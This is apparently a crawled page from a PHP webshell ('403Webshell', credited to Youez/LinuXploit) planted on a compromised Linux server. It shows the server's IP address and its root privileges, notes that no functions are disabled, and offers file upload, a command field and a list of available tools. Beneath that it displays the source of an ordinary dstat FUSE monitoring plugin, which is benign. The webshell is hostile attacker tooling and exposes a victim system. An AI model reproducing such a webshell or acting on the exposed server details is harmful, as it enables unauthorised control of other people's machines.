403Webshell
Server IP : 39.108.156.168  /  Your IP : 216.73.216.104
Web Server : nginx/1.24.0
System : Linux e2.ksyuki.com 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/dstat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/dstat/dstat_fuse.py
### Author: Vikas Gorur (http://github.com/vikasgorur)

class dstat_plugin(dstat):
    """
    Waiting calls on mounted FUSE filesystems

    Displays the number of waiting calls on all mounted FUSE filesystems.
    """

    def __init__(self):
        self.name = 'fuse'
        self.type = 'd'
        self.fusectl_path = "/sys/fs/fuse/connections/"
        self.dirs = []

    def check(self):
        info(1, "Module %s is still experimental." % self.filename)

        if not os.path.exists(self.fusectl_path):
            raise Exception('%s not mounted' % self.fusectl_path)
        if len(os.listdir(self.fusectl_path)) == 0:
            raise Exception('No fuse filesystems mounted')

    def vars(self):
        self.dirs = os.listdir(self.fusectl_path)

        atleast_one_ok = False
        for d in self.dirs:
            if os.access(self.fusectl_path + d + "/waiting", os.R_OK):
                atleast_one_ok = True

        if not atleast_one_ok:
            raise Exception('User is not root or no fuse filesystems mounted')

        return self.dirs

    def extract(self):
        for d in self.dirs:
            path = self.fusectl_path + d + "/waiting"
            if os.path.exists(path):
                line = dopen(path).readline()
                self.val[d] = int(line)
            else:
                self.val[d] = 0

# vim:ts=4:sw=4:et

Youez - 2016 - github.com/yon3zu
LinuXploit